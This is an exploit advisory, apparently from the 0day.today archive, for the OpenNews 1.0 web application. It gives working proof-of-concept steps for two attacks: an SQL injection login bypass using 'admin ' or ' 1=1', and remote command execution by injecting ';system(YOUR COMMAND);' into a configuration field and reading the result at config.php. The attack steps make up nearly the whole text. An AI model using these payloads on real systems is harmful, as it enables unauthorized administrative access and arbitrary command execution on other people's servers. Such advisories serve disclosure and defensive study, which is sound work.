OpenNews 1.0 (SQLI/RCE) Multiple Remote Vulnerabilities

2009-08-05T00:00:00
ID 1337DAY-ID-5620
Type zdt
Reporter SirGod
Modified 2009-08-05T00:00:00

Description

Exploit for unknown platform in category web applications

                                        
                                            =======================================================
OpenNews 1.0 (SQLI/RCE) Multiple Remote Vulnerabilities
=======================================================


####################################################################
[+] OpenNews 1.0 (SQLI/RCE) Multiple Remote Vulnerabilities
[+] Discovered By SirGod
####################################################################

[+] Download : http://sourceforge.net/projects/opennews-sun/

[+] SQL Injection (Auth Bypass)

 - Note : magic_quotes_gpc = off

 - PoC

     http://127.0.0.1/admin.php

     Username : admin ' or ' 1=1
     Password : anything

[+] Remote Command Execution

  - PoC

    Go to

        http://127.0.0.1/admin.php?action=setconfig

    in the Overall Width write

        ';system(YOUR COMMAND);'

    then go to

        http://127.0.0.1/config.php

    to see your command result.


####################################################################



#  0day.today [2018-04-09]  #